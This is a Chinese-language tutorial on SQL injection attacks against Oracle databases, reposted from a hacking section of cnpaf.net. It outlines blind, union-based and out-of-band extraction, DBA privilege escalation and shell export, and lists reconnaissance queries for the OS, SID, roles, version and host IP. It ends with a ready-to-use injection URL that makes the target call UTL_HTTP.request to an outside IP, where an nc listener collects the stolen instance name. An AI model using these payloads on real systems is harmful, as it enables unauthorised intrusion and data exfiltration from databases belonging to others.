Oracle说明:
Oracle的注射攻击学习,可以归为:
a.基本猜解:
1. 数据库名的猜解,表名的猜解,字段的猜解,数据的猜解.等基本数据的猜解.(半折法)
2. union方式猜解
3. UTL_HTTP.request反弹数据猜解.(需能上网)
4. 其它方式的猜解,诸如把表段内容,update或insert入可以显示的字段里,诸如网页,然后读取获知.
b.高级攻击方式:
1. 数据库提权攻击,一般是利用函数漏洞,提升为DBA权限.(oracle的DBA相当于mssql的sa,为数据库的最高权限)
2. 导出shell攻击.
3. 利用数据库漏洞,执行系统指定.
c.数据库漏洞.
1. 远程溢出,本地提权等漏洞(我们只管exp)
2. 存在的配置方面的漏洞整理,诸如默认弱口令,以及得到弱口令之后,如何提权等原因.
第一部份:
===================基本信息的猜解=========================
说明:
Oracle会把一些有用的信息保存在系统表里面,诸如all_tables,所以注射时对这些表的猜解,可以获取到很多的基本信息.
获得操作系统版本:
select member from v$logfile where rownum=1
通过路径方式判断操作系统.如果出现c:,d:类的是windows,其它为*nix
查看sid:
select instance_name from v$instance
查询当前用户权限
select * from session_roles
当前数据库版本
select banner from sys.v_$version where rownum=1
服务器出口IP
用utl_http.request可以实现
服务器监听IP
select utl_inaddr.get_host_address from dual
当前连接用户
select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual
反弹方式:(本机:nc -vv -lp 8000)
http://www.target.com/servlet/bbs2005.Userdetail?sUserName=test' and UTL_HTTP.request('http://59.151.22.37:8000/'||(select instance_name from v$instance where rownum=1))=1--
==================基本信息的猜===========================
基本信息的猜解主要是方便后期的注射攻击.
本篇文章来源于 中国协议分析网|www.cnpaf.net 原文链接:http://www.cnpaf.net/Class/hack/200811/23229.html